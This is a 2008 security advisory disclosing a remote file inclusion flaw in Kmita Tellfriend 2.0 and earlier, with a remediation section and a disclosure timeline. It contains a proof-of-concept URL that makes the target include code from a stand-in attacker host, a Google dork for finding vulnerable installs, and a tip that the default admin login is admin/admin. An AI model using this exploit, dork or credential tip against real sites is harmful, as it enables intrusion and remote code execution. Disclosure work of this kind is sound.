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[ECHO_ADV_93$2008] Kmita Tellfriend <= 2.0 (file) Remote File Inclusion Vulnerability



ECHO_ADV_93$2008

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[ECHO_ADV_93$2008]   Kmita Tellfriend <= 2.0 (file) Remote File Inclusion 
Vulnerability
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Author         : M.Hasran Addahroni
Date           : May, 5 th 2008
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv93-K-159-2008.txt
Critical Lvl   : High
Impact         : System access
Where          : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Kmita Tellfriend
version       : <= 2.0
Vendor        : http://www.kmita-tellfriend.com/
Description   :

Utilize your website's maximum capacity. Harness your existing visitor turnover 
itself to increase your website traffic.
Well, this is what Kmita Tell Friend v2 is all about. Kmita Tell Friend 
installs easily and lets you provide a link on your website so that your 
visitors can recommend your website to their friends.
There are lots of options and customizations ranging from specifying the 
success page to dynamically specifying the page URL. Kmita Tell Friend can 
handle unlimited number of recommend forms in one installation itself, that 
means you need not copy the script over and over again for different recommend 
forms
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Vulnerability:
~~~~~~~~~~~~~~

Input passed to the "file" parameter in htmlcode.php is not properly verified 
before being used to include files. 
This can be exploited to include arbitrary files from local or external 
resources.
Successful exploitation requires that "register_globals" is enabled.


Poc/Exploit:
~~~~~~~~~~

http://www.target.com/kmitaadmin/kmitat/htmlcode.php?file=http://attacker.com/evil?

Note: sometimes need to login first.the default user & password are admin


Dork:
~~~~~
Google    : "Powered by Kmita Tell Friend" "allinurl:/kmitat/"
 

Solution:
~~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn off register_globals in php.ini
 

Timeline:
~~~~~~~~~

- 02 - 05 - 2008 bug found
- 05 - 05 - 2008 vendor contacted
- 05 - 05 - 2008 advisory released
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Shoutz:
~~~~~
~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n 
the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, 
az01,negative,the_hydra,neng chika, str0ke
~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES
~ 
masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, 
stev_manado, nofry,k1tk4t,0pt1c
~ newbie_hacker@xxxxxxxxxxxxxxx
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.
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Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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